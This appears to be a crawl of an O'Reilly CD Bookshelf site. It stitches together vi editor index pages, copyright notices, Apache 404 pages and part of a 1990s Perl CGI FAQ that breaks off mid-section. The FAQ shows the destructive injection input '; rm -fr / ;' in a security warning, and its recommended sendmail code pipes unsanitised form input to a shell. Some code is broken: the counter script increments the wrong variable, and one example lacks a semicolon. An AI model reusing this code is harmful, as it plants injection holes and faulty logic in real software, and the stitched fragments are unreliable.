Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: S

saving files
1.1.3. Saving and Quitting a File
(see also vi commands)
screen editors
1. The vi Text Editor
(see also vi editor)
scripts
7.4. Using ex Scripts
(see also ex commands)
built by diff : 7.4.5. ex Scripts Built by diff
comments in : 7.4.4. Comments in ex Scripts
sort text blocks : 7.4.3. Sorting Text Blocks: A Sample ex Script
scrolling : 3.1. Movement by Screens
with cursor stationary (z) : 3.1.2. Repositioning the Screen with z
search
and replace : 6.2. Context-sensitive Replacement
and replace within text block : 6.4.2. Block Move by Patterns
backward for a pattern (?) : 3.3.1. Repeating Searches
combine opening a file with : 4.2.1. Advancing to a Specific Place
for general class of words : 6.4.1. Search for General Class of Words
global : (see global replacement)
ignoring case
6.3.2. Metacharacters Used in Replacement Strings
7.1.1. The :set Command
7.1.4. Some Useful Options
ignoring case (:set ic) : 6.3.2. Metacharacters Used in Replacement Strings
matched brackets : 7.5.2. A Special Search Command
metacharacters treated like normal characters : 7.1.4. Some Useful Options
pattern (/e) : 3.3. Movement by Searches
pattern matching
6.3. Pattern-matching Rules
(see also global replacement)
repeat (n, N)
3.3.1. Repeating Searches
6.1. Confirming Substitutions
within current line : 3.3.2. Current Line Searches
wrapping around file
3.3.1. Repeating Searches
7.1.4. Some Useful Options
set command (ex)
inquire about options : 7.1.1. The :set Command
options
7.1. Customizing vi
7.1.1. The :set Command
set line numbers (:set nu) : 2.2.3. Movement Within a Line
set options
allow metacharacters in searches (:set magic) : 7.1.4. Some Useful Options
alphabetical list of : B. Setting Environment Options
assign a value : 7.1.1. The :set Command
autoindent (:set ai) : 7.5.1. Indentation Control
display tabs (:set list) : 7.5.1. Indentation Control
exrc : 7.1.3. Alternate Environments
ignore case (:set ic)
7.1.1. The :set Command
7.1.4. Some Useful Options
number lines (:set nu)
3.4. Movement by Line Number
3.4.1. The G (Go To) Command if
5.2.2. Defining a Range of Lines
paragraphs (:set para=) : 3.2. Movement by Text Blocks
sections (:set sect=) : 3.2. Movement by Text Blocks
shiftwidth (:set sw=) : 7.5.1. Indentation Control
show matching brackets (:set sm) : 7.5.2. A Special Search Command
tabstop (:set ts=) : 7.5.1. Indentation Control
turn on or off : 7.1.1. The :set Command
window size (:set w=) : 7.1.1. The :set Command
wrapmargin (:set wm=)
2.1. vi Commands
2.2.3. Movement Within a Line
2.3.8.1. Repeat
7.1.4. Some Useful Options
map example : 7.3.5. More Examples of Mapping Keys
wrapscan (:set ws)
3.3.1. Repeating Searches
7.1.4. Some Useful Options
shell
commands
execute from vi : 7.2. Executing UNIX Commands
script
for loop : 7.4.1. Looping in a Shell Script
here documents : 7.4.2. Here Documents
sorting text blocks : 7.4.3. Sorting Text Blocks: A Sample ex Script
substitute
character (s) : 2.4. More Ways to Insert Text
line (S) : 2.4. More Ways to Insert Text
text (:s) : 5.1. ex Commands
substitution command (:s)
2.4. More Ways to Insert Text
6. Global Replacement
system crash
recovering from : 4.2.3. Recovering a Buffer
system crash, recovering from : 4.2.3. Recovering a Buffer

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: T

tags for C code : 7.5.3. Using Tags
terminal
dumb
2.3.1. Inserting New Text
2.3.5.2. Lines
intelligent : 2.3.1. Inserting New Text
operations
/etc/termcap/file : 7.1. Customizing vi
termcap : 7.3.7. Mapping Function Keys
terminfo : 7.3.7. Mapping Function Keys
text blocks
sorting : 7.4.3. Sorting Text Blocks: A Sample ex Script
switching : 6.4.2. Block Move by Patterns
text editor : (see editor)
text object
2.3.3.1. Words
2.6. Review of Basic vi Commands
filter through command : 7.2.1. Filtering Text Through a Command
transposing
characters (xp) : 2.3.6.1. Transposing Two Letters
words : 7.3.5. More Examples of Mapping Keys

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: U

undoing
all vi commands on a line (U) : 2.3.8.2. Undo
last vi command (u)
2.3.5.4. Problems with Deletions
2.3.8. Repeating or Undoing Your Last Command
2.3.8.2. Undo
6.1. Confirming Substitutions
UNIX commands
compare files (diff) : 7.4.5. ex Scripts Built by diff
execute from vi : 7.2. Executing UNIX Commands
filter text through : 7.2.1. Filtering Text Through a Command

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: V

vi
entering : (see opening a file or vi commands)
invoking on multiple files : 5.5.1. Invoking vi on Multiple Files one
vi commands
@-functions : 7.3.9. @-Functions
abbreviated words : 7.3.1. Word Abbreviation
append text (a)
2.3. Simple Edits
2.3.2. Appending Text
append text to end of line (A) : 2.4. More Ways to Insert Text
case sensitivity of : 1. The vi Text Editor
change character (r) : 2.3.3.3. Characters other
change lines (cc)
2.3.3.2. Lines
2.4. More Ways to Insert Text
change text (c)
1. The vi Text Editor
2.3. Simple Edits
2.3.3. Changing Text
2.6. Review of Basic vi Commands
4.1. More Command Combinations
change text to end of line (C) : 2.3.3.2. Lines
change words (cw)
2.3.3. Changing Text
2.3.3.1. Words
combine edits and movement : 4.1. More Command Combinations
command mode : 2.1. vi Commands
copy (yank and put) text : 4.3.2. Yanking to Named Buffers
copy (yank) text (y)
1. The vi Text Editor
2.3. Simple Edits
2.3.7. Copying Text
2.6. Review of Basic vi Commands
4.1. More Command Combinations
copy text : 2.3. Simple Edits
copy text (yank and put)
2.3.7. Copying Text
4.3.2. Yanking to Named Buffers
delete character (x) : 2.3.5.3. Characters
delete line (dd) : 2.3.5.2. Lines
delete text (d)
2.3. Simple Edits
2.3.5. Deleting Text Chapter
2.3.7. Copying Text
2.6. Review of Basic vi Commands
4.1. More Command Combinations
delete to end of line (D) : 2.3.5.2. Lines
delete up to pattern (d/pattern) : 3.3.2. Current Line Searches
delete word (dw) : 2.3.5.1. Words
display current line number (^G)
3.4. Movement by Line Number
3.4.1. The G (Go To) Command if
filter text through UNIX command : 7.2.1. Filtering Text Through a Command
general form : 2.3.3.1. Words
insert mode : 2.1. vi Commands
insert text (i)
1. The vi Text Editor
2.1. vi Commands
2.3. Simple Edits
2.3.1. Inserting New Text
insert text at beginning of line (I) : 2.4. More Ways to Insert Text
join lines (J) : 2.5. Joining Two Lines with J
mapped to function keys : 7.3.7. Mapping Function Keys
mapping : 7.3.2. Using the map Command
mark a place in file (m) : 4.4. Marking Your Place
move cursor by character
2.2.1. Single Movements
2.6. Review of Basic vi Commands
move cursor by line
3.1.5. Movement by Line
3.1.5.1. Movement on the Current Line
move cursor by screen : 3.1. Movement by Screens
move cursor by text block : 3.2. Movement by Text Blocks
move cursor by word
2.2.4. Movement by Text Blocks
2.6. Review of Basic vi Commands
move cursor to line number n (nG)
3.4. Movement by Line Number
3.4.1. The G (Go To) Command if
move cursor within a line
2.2.3. Movement Within a Line
2.6. Review of Basic vi Commands
move cursor within a screen : 3.1.4. Movement Within a Screen
move text : 2.3. Simple Edits
move text (delete and put)
2.3.6. Moving Text
2.3.6.1. Transposing Two Letters
2.3.7. Copying Text
numeric arguments with
edit commands : 2.3.3.1. Words
insert commands : 2.4.1. Numeric Arguments for Insert Commands
movement commands : 2.2.2. Numeric Arguments
open a file (vi)
1.1. Opening and Closing Files
1.1.1. Opening a File
1.1.2. Problems Opening Files
open file : 4.2.1. Advancing to a Specific Place
at a specific place : 4.2.1. Advancing to a Specific Place
in read-only mode : 4.2.2. Read-only Mode
open line for text (O, o) : 2.4. More Ways to Insert Text
put text (p)
2.3. Simple Edits
2.3.5.4. Problems with Deletions
2.3.6. Moving Text
2.3.6.1. Transposing Two Letters
2.3.7. Copying Text
2.6. Review of Basic vi Commands
4.3.2. Yanking to Named Buffers
put text before cursor (P)
2.3.6. Moving Text
2.3.7. Copying Text
4.3.2. Yanking to Named Buffers
quick reference to : A. Quick Reference
quit and save edits (ZZ)
1.1.3. Saving and Quitting a File
1.2. Quitting Without Saving Edits
1.2.1. Problems Saving Files
2.6. Review of Basic vi Commands
recover buffers after system crash : 4.2.3. Recovering a Buffer
recover deletions with u : 2.3.5.4. Problems with Deletions
recover numbered buffers (deletions)
2.3.5.4. Problems with Deletions
4.3.1. Recovering Deletions
repeat last command (.)
2.3.8. Repeating or Undoing Your Last Command
2.3.8.1. Repeat
6.1. Confirming Substitutions
repeat search (n, N)
3.3.1. Repeating Searches
6.1. Confirming Substitutions
replace character (r) : 2.3.3.3. Characters other
replace characters (R) : 2.4. More Ways to Insert Text
save : 7.3. Saving Commands
save in buffer : 7.3.9. @-Functions
scroll screen with cursor stationary (z) : 3.1.2. Repositioning the Screen with z
search backward for pattern (?) : 3.3.1. Repeating Searches
search for pattern (/) : 3.3. Movement by Searches
search within current line : 3.3.2. Current Line Searches
stop inserting text (ESC) : 2.1. vi Commands
substitute character (s) : 2.4. More Ways to Insert Text
substitute line (S) : 2.4. More Ways to Insert Text
summary of : 2.6. Review of Basic vi Commands
transpose characters (xp) : 2.3.6.1. Transposing Two Letters
undo all edits to line (U) : 2.3.8.2. Undo
undo last (u) : 6.1. Confirming Substitutions
undo last edit (u)
2.3.5.4. Problems with Deletions
2.3.8. Repeating or Undoing Your Last Command
2.3.8.2. Undo
yank
text (y)
2.3. Simple Edits
2.3.7. Copying Text
2.6. Review of Basic vi Commands
4.1. More Command Combinations
text between files : 5.5.3. Edits Between Files
to named buffers
4.3. Making Use of Buffers
4.3.2. Yanking to Named Buffers
vi editor
alternate environments (.exrc file)
7.1. Customizing vi
7.1.2. The .exrc File
alternate environments (EXINIT variable) : 7.1. Customizing vi
customizing
7.1. Customizing vi
(see also ex commands, :set)
execute UNIX commands from : 7.2. Executing UNIX Commands
introduction to : 1. The vi Text Editor

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: W

wildcard characters : (see metacharacters)
window size : 7.1.1. The :set Command
word abbreviation : 7.3.1. Word Abbreviation

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Index: Y

yank
text (y)
1. The vi Text Editor
2.3.7. Copying Text
2.6. Review of Basic vi Commands
4.1. More Command Combinations
text between files : 5.5.3. Edits Between Files
to named buffers
4.3. Making Use of Buffers
4.3.2. Yanking to Named Buffers

A | B | C | D | E | F | G | H | I | J | L | M | N | O | P | Q | R | S | T | U | V | W | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


O'Reilly Copyright Statement

The Web Developer's Library contains electronic versions of CGI Programming on the World Wide Web, HTML: The Definitive Guide, JavaScript: The Definitive Guide, Programming Perl, and WebMaster in a Nutshell, all copyright 1996, 1997 by O'Reilly & Associates, Inc; all rights reserved. You are permitted to read these electronic versions using your HTML browser software; however, you are not permitted to download to your local disk, copy, reprint, offer for sale, or otherwise re-use material from these books without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. (see our Online Catalog) or from bookstores that carry O'Reilly & Associates books.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in these books, and O'Reilly & Associates, Inc., was aware of the trademark claim, the designations have been printed in caps or initial caps.

While every precaution has been taken in the preparation of this library of electronic books, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

This product is printed with 100% recycled electrons.


Credits

The Books

HTML: The Definitive Guide
By Chuck Musciano & Bill Kennedy
2nd Edition, April 1997 (est.)
ISBN 1-56592-235-2, 420 pages (est.), $32.95 (est.)

CGI Programming on the World Wide Web
By Shishir Gundavaram
1st Edition, March 1996
ISBN 1-56592-168-2, 450 pages, $32.95

JavaScript: The Definitive Guide
By David Flanagan
2nd Edition, January 1997 ISBN 1-56592-234-4, 664 pages, $32.95

Programming Perl
By Larry Wall, Tom Christiansen & Randal L. Schwartz
2nd Edition, September 1996
ISBN 1-56592-149-6, 670 pages, $39.95

WebMaster in a Nutshell
By Stephen Spainhour & Valerie Quercia
1st Edition, October 1996
ISBN 1-56592-229-8, 374 pages, $19.95

The Web Reference Library CD-ROM

Project Manager
Linda Walsh
Technical Director
Norman Walsh
Programming
Jessica Perry Hekman
Creative Director
Edie Freedman


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/web/csrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/web/hsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


 Web Developer's Library

Welcome to a sneak preview of an early draft of the Web Developer's Library.
To avoid having to re-register, please bookmark this page in your browser for future reference.

Please note: This preview is a beta version, and not all of the images function properly.

This library will soon be available on CD-ROM as part of our new book/CD-ROM product, Webmaster in a Nutshell, Deluxe Edition. This preview gives you a chance to see for yourself the convenience and easy look-up you can expect from the CD-ROM.

The library contains the following five searchable books - just click to start reading:

HTML: The Definitive Guide
CGI Programming on the World Wide Web
JavaScript: The Definitive Guide
Programming Perl
Web Master in a Nutshell

Combined Index
Combined Search

For more information on O'Reilly books and software, please visit our online catalog

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/web/jsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/web/psrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/web/wsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Appendix A] Perl CGI Programming FAQ

CGI Programming on the World Wide Web

Previous Appendix A Next

A. Perl CGI Programming FAQ

Contents:
Introduction
Modules
CGI and the WWW Server
Specific Programming Questions
Security

A.1 Introduction

Why does my HTML page/form need a script?

There are times when you might want to have some dynamic information (information that is not constant) in your HTML documents. This could include simple information such as the date and time, or a counter that displays "You are visitor number xxx", but it could also include such things as pie charts/graphs based on user input, results from searching a database, or animations. And the only way you can produce results like these is with CGI scripts (though you can also do so with client-side applications like Java and JavaScript, but that's a totally different story!).

What does CGI stand for?

Here is an excellent description that my editor, Andy Oram, wrote up:

Common

Assures you that CGI can be used by many languages and interact with many different types of systems. It doesn't tie you down to one way of doing what you want.

Gateway

Suggests that CGI's strength lies not in what it does by itself, but in the potential access it offers to other systems such as databases and graphic generators.

Interface

Means that CGI provides a well-defined way to call up its features--in other words, that you can write programs that use it.

What is a script, anyway? What can I do with a script?

Simply put, a script is a program! OK, OK, there are semantic differences between the two words. If you really want to know, pick up a book on computer programming (or is that computer scripting :-)

You can create a lot of magic by writing a CGI program/script. You can create graphics on the fly, access databases and return results, and connect to other Internet information servers.

What is Perl and why do so many people use it for CGI?

The answer is located in the first three lines of the Perl manpage:

Perl is an interpreted language optimized for scanning arbitrary text files, extracting information from those text files, and printing reports based on that information.

Most CGI applications involve manipulating data in some fashion and accessing external programs and applications. Perl provides easy-to-use tools that make these tasks a cinch.

Is there a book or online docs on CGI and/or Perl programming?

Here is a list of books on CGI and Perl. I got this list from Cye H. Waldman:

  • NCSA CGI Documentation (http://hoohoo.ncsa.uiuc.edu/cgi)

  • Forms Tutorial (http://robot0.ge.uiuc.edu/~carlosp/cs317/ft.4-5.html)

  • CGI FAQ (http://www.best.com/~hedlund/cgi-faq

  • Perl FAQ (<http://mox.perl.com/perl/faq/index.html)

  • WWW Security FAQ (by Lincoln Stein) (http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html)

  • CGI Security FAQ (by Paul Phillips) (http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt)

  • WWW FAQ (http://boutell.com/faq)

Here is a table of books and CD-ROMS about CGI and Perl:

Author | Title | Publisher | Medium | Price
Christian Neuss & Johan Vromans | The Webmaster's Handbook: Perl Power for Your Web Server (http://zelda.thomson.com/itcp/neuss/neuss.html) | Int'l Thomson | CD-ROM | $30
William E. Weinman | The CGI Book | New Riders | CD-ROM | $45
Garbus et al. | Perl Programming Unleashed (March 1996) | Sams.net | CD-ROM | ??
Steven E. Brenner & Edwin Aoki | Introduction to CGI & Perl: WebScripts http://www.mispress.com/introcgi /online_app.html) | MIS:Press/M&T Books |  | ??
Ed Tittel et al. | Perl 5 Programming Secrets (March 1996) | IDG Books | CD-ROM | ??
Mitzelfelt | Special Edition Using Perl | Que |  | ??
Shishir Gundavaram | CGI Programming on the World Wide Web (http://www.ora.com/gnn/bus/ora/item/cgi_prog.html) | O'Reilly |  | $30
Rob Farrel | The Official 60 Minute Guide to CGI Programming with Perl (http://db.www.idgbooks.com/database/book/isbn/generic-book.tmpl?query=1-56884-780-7) | IDG Books |  | $20
Ed Tittel et al. | Web Programming Secrets | IDG Books | CD-ROM | $40
John Deep | Developing CGI Applications with Perl (Dec 1995) | Wiley |  | $30
Jon Orwant | Perl 5 Interactive (February 1996) | Waite |  | $30
Reggie David | Perl 5 How-To (Spring 1996) | Waite | CD-ROM | $40
Eric Herrmann | Teach Yourself CGI Programming with Perl in a Week | Sams.net |  | $30
Walnut Creek CDROM | Perl (Collected resources, archives, tutorial, examples, source code, etc.) | Walnut Creek CDROM | CD-ROM | $40
Carl Dichter & Mark Pease | Software Engineering with Perl (This is an advanced text for software professionals; it is not a tutorial.) (http://www.prenhall.com/013/ 016964/ptr/01696-4.htm) | Prentice Hall | Disk | $30
Ellie Quigley | Perl by Example | Prentice Hall |  | $27
John December & Mark Ginsburg | HTML & CGI Unleashed | Sams.net | CD-ROM | $50
David Till | Teach Yourself Perl in 21 Days | Sams | Print | $30
Larry Wall & Randal L. Schwartz | Programming Perl | O'Reilly | Print | $30
Randal L. Schwartz | Learning Perl | O'Reilly | Print | $25
Ed Tittel et al. | Foundations of WWW Programming with HTML and CGI | IDG Books | CD-ROM | $40
Eric Lease Morgan | Teaching a New Dog Old Tricks (Mac-based WWW Starter Kit with Server) (http://152.1.24.177/teaching/manuscript/0010-title-page.html) |  | Online | Free!
Susan B. Peck & Stephen Arrants | WebSite: Everything You Need... (This is a complete Website kit for Windows NT 3.5 or Windows 95) (http://www.ora.com/gnn/bus/ora/item/web11.html) | O'Reilly | CD-ROM | $249
Lincoln D. Stein | How to Set Up and Maintain a World Wide Web Site (http://www-genome.wi.mit.edu/WWW/) | Addison-Wesley |  | $29
Jonathan Magid et al. | The Web Server Book | Ventana | CD-ROM | $50
net.Genesis & Devra Hall | Build a Web Site | Prima |  | $35
David Chandler | Running a Perfect Web Site | Que | CD-ROM | $40
Jon Weiderspan & Chuck Shotton | Planning & Managing a Web Site on the Macintosh | Addison-Wesley | CD-ROM | $40

Is there a mailing list or newsgroup for this kind of thing?

There is a very useful newsgroup: comp.infosystems.www.authoring.cgi, that is "monitored" by numerous CGI experts. However, you should not post a question to this group (or any other group, for that matter), until you have read the FAQ.

Various mailing lists for CGI and the Web exist, as well. Here are two of the most popular:

cgi-perl-request@webstorm.com [http://www.webstorm.com/local/cgi-perl]

This list is for those who are writing or interested in writing Perl 5 modules for CGI. It is not intended for any type of CGI support.

Tim Bunce (Tim.Bunce@ig.co.uk) wrote several elegant and useful CGI modules, although they are currently maintained by Lincoln Stein (lstein@genome.wi.mit.edu). These modules are located at:

http://www-genome.wi.mit.edu/WWW/tools/scripting/CGIperl

Lincoln has also written an excellent book on the Web and CGI (see the preceding table).

libwww-perlrequest@ics.uci.edu [http://www.ics.uci.edu/WebSoft/libwww-perl/archive]

libwww-perl is a Perl library that provides a simple and consistent programming interface to the Web.

You can access the Perl 4 distribution at:

http://www.ics.uci.edu/pub/websoft/libwww-perl

The Perl 5 libwww modules are located at:

http://www.os/oslonett.no/home/aas/perl/www

Are there archives on the net of mailings or postings about this?

Yes, look at:

The Usenet Newstand (http://CriticalMass.com/Concord/)

All of the comp.infosystems.www.* newsgroups are archived. In addition, the cgi-perl and libwww mailing lists are archived as well.

Previous | Home | Next
Set UID/GID Wrapper | Book Index | Modules
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A] A.2 Modules

CGI Programming on the World Wide Web

Previous Appendix A
Perl CGI Programming FAQ 		Next

A.2 Modules

Should I use the Perl CGI modules to code all my CGI scripts? Isn't it easier to do it myself?

It really depends on what you are trying to do. The CGI modules should generally be used for heavy-duty CGI scripts. For simple scripts, it is far easier and quicker to roll your own or use CGI Lite (current version is v1.62 http://bytor.engr.wisc.edu/pub/perl/cpan/authors/id/SHGUN/CGI_Lite-1.62.pm.gz). If you really want, you can even use the Perl 4 cgi-lib.pl library (http://www.bio.cam.ac.uk/web/form.html).

How do I figure out how xyz module works?

Most modules have manpages embedded within the module itself. If that is the case, you can use the pod2man script to view the manpage:

% pod2man module.pm | nroff -man | more

What CGI or WWW libraries are available for Perl4? Which should I use, and why?

The most widely used CGI library for Perl 4 is cgi-lib.pl written by Steven Benner (http://www.bio.cam.ac.uk/web/form.html). It is very, very simple to use!

What CGI modules are available for Perl 5? Which should I use, and why?

CGI::* Modules

(http://www-genome.wi.mit.edu/WWW/tools/scripting/CGIperl/)

These modules allow you to create and decode forms as well as maintain state between forms.

CGI Lite

(http://bytor.engr.wisc.edu/pub/perl/cpan/authors/id/SHGUN/CGI_Lite-1.62.pm.gz)

An alternative to the CGI::* modules. It is a glorious Perl 5 version of cgi-lib.pl.

Both of these modules have the ability to decode the multipart/form-data encoding scheme.

Why are so many of these CGI Perl libraries object oriented? I don't know O-O programming. Aren't there simpler libraries for non-programmers to use? How hard can it be?

You can use cgi-lib.pl (http://www.bio.cam.ac.uk/web/form.html), which is not object oriented, because it was designed for Perl 4.

But, using the Perl 5 O-O libraries is a piece of cake! Here is a simple example that uses CGI Lite (http://bytor.engr.wisc.edu/pub/perl/cpan/authors/ id/SHGUN/CGI_Lite-1.62.pm.gz) to print out form data:

#!/usr/local/bin/perl5
use CGI_Lite;
print "Content-type: text/plain", "\n\n";

$cgi = new CGI_Lite ()
$cgi->parse_form_data ();
$cgi->print_form_data ();
exit (0);

Previous | Home | Next
Introduction | Book Index | CGI and the WWW Server
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A] A.3 CGI and the WWW Server

CGI Programming on the World Wide Web

Previous Appendix A
Perl CGI Programming FAQ 		Next

A.3 CGI and the WWW Server

Where does my Perl CGI program have to live to execute? What is the cgi-bin directory for?

The server is generally configured so that it executes CGI scripts that are located in the cgi-bin directory. However, the server administrator can set up aliases in the server configuration files, so that scripts with certain extensions (i.e., .cgi, .pl) can also be executed.

What are file access permissions? How do I change them?

File permissions allow read, write, and execute access to users based on their user identification (also known as UID), and their membership in certain groups. You can use the command chmod to change a file's permissions. Here is an example:

% ls -ls form.cgi
  1 -rwx------  1 shishir       974 Oct 31 22:15 form.cgi*

This has a permission of 0700 (octal), which means that no one (besides the owner) can read to, write from, or execute this file. Let's use the chmod command to change the permissions:

% chmod 755 form.cgi
% ls -ls form.cgi
  1 -rwxr-xr-x  1 shishir       974 Oct 31 22:15 form.cgi*

This changes the permissions so that users in the same group as "shishir," as well as all other users, have the permission to read from and execute this file.

See the manpages for the chmod command for a full explanation of the various octal codes.

Where should Perl be installed so I can execute it?

Perl can be installed anywhere on the system! The only thing you have to ensure is that the server is not running in a chroot-ed environment, and that it can access the interpreter. In other words, system administrators can change the root directory, so that "/" does not point to the actual root ("/"), but to another directory.

What should I do when I get a "Server: Error 500" message?

You can get a server error for the following reasons:

  • If the script does not contain the "#!/usr/local/bin/perl" header line that points to the Perl interpreter, or if the path to the interpreter is invalid.

  • If the first line output from the script is not a valid HTTP header (i.e., "Content-type: text/html"), or if there is no blank line after the header data.

I try to open a file for writing so I can save my data, but the open ( ) command fails. What's going on?

Generally, the HTTP server will be running as user "nobody," or "www," or some other user ID that has minimal privileges. As a result, the directory (where you intend to create the file) must be writeable by this process ID.

To be on the safe side, always check the return status from the open ( ) command to see if it was a success:

open (FILE, "/abc/data.txt") ||
     &error ("Could not open file /abc/data.txt");
.
.
.
sub error {
    local ($message) = @_;
    print "Content-type: text/html", "\n";
    print "Status: 500 CGI Error", "\n\n";
    print "<TITLE>CGI Error </TITLE>", "\n";
    print "< H1>Oops! Error </H1>", "\n";
    print "< HR>", $message, "< HR>", "\n";
}

Previous | Home | Next
Modules | Book Index | Specific Programming Questions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix A] A.4 Specific Programming Questions

CGI Programming on the World Wide Web

Previous Appendix A
Perl CGI Programming FAQ 		Next

A.4 Specific Programming Questions

I want the user to fill in a form and mail it to me. How can I do this? Are there any examples to show me how?

It is actually a fairly simple process. Your CGI script must be able to perform two tasks:

Decode the form data. Remember, all data in the form will be URL encoded (let's ignore Netscape 2.0 multipart MIME messages).

Open a pipe to mail (or sendmail), and write the form data to the file.

Let's assume you have an associative array called $in (for those of you using Steven Brenner's cgi-lib.pl library, this should be familiar) that contains the form data. Here is how you would deal with sendmail:

open (SENDMAIL, "| /usr/bin/sendmail -f$in{'from'} -t -n -oi");
print SENDMAIL <<End_of_Mail;
From: $in{'from'} <$in{'name'}>
To: $in{'to'}
Reply-To: $in{'from'}
Subject: $in{'subject'}
$in{'message'}
End_of_Mail

One thing you should note is the "Reply-To:" header. Since the server is running as user "nobody," the mail headers might be messed up (especially when people are trying to reply to it). The "Reply-To:" field fixes that.

There are a lot of mail gateways in operation that use mail in the following format:

open (MAIL, "| mail -s 'Subject' $in{'to'}");
                                     ^
                                     |
                                     +-- Possible security hole!!!!

If you don't check the $in{'to'} variable for shell metacharacters, you're in for a major headache! For example, if some malicious user enters the following:

; rm -fr / ;

you'll have a major problem on your hands.

The formmail script looks complicated. Why can't I use a mailto: URL so that it just mails me the info the user filled in?

Unfortunately, the mailto: command is not supported by all browsers. If you have this command in your document, it is a limiting factor, as people who use browsers that do not support this do not have the ability to send you mail.

How do I do Perl CGI programming from non-UNIX platforms like the Mac, MS-DOS, Windows, and NT? Will my Perl CGI program port amongst all these environments? Can it be transparent? I have an account on a UNIX server, but work on a Windows/Mac system. How can I test my CGI script on my own system?

Perl has been ported to all the platforms that are mentioned above. As a result, your Perl CGI program should be reasonably portable. If you're are interfacing with various external programs on the UNIX side, then it probably will not be portable, but if you're just manipulating data, opening and reading files, etc., you should have no problem.

What are STDERR, STDIN, and STDOUT connected to in a Perl CGI program?

In a CGI environment, STDERR points to the server error log file. You can use this to your advantage by outputting debug messages, and then checking the log file later on.

Both STDIN and STDOUT point to the browser. Actually, STDIN points to the server that interprets the client (or browser's) request and information, and sends that data to the script.

In order to catch errors, you can "dupe" STDERR to STDOUT early on in your script (after outputting the valid HTTP headers):

    open (STDERR, ">&STDOUT");

This redirects all of the error messages to STDOUT (or the browser).

How do I write an access counter script?

Counter scripts tend to be very popular. The idea behind a counter is very simple:

  1. Use a file to store the data

  2. Whenever someone visits the site, increment the number in the file

Here is a simple counter script:

#!/usr/local/bin/perl
$counter = "/home/shishir/counter.dat";
print "Content-type: text/plain", "\n\n";

open (FILE, $counter) || die "Cannot read from the counter file.\n";
flock (FILE, 2);
$visitors = <FILE>;
flock (FILE, 8);
close (FILE);
$VISITORS++;
open (FILE, ">" . $counter) || die "Cannot write to counter file.\n";
flock (FILE, 2);
print FILE $visitors;
flock (FILE, 8);
close (FILE);

You can now use SSI (Server Side Includes) to display a counter in your HTML document:

You are visitor number:

<!--#exec cgi="/cgi-bin/counter.pl-->

How can I strip all the HTML tags from a document with a Perl substitute?

Here is a simple regular expression that will strip HTML tags:

$line =~ s/<(([^>]|\n)*)>//g;

Or you can "escape" certain characters in an HTML tag so that it can be displayed:

$line =~ s/<(([^>]|\n)*)>/&lt;$1&gt;/g;

How can I tell what user/host/browser called my program?

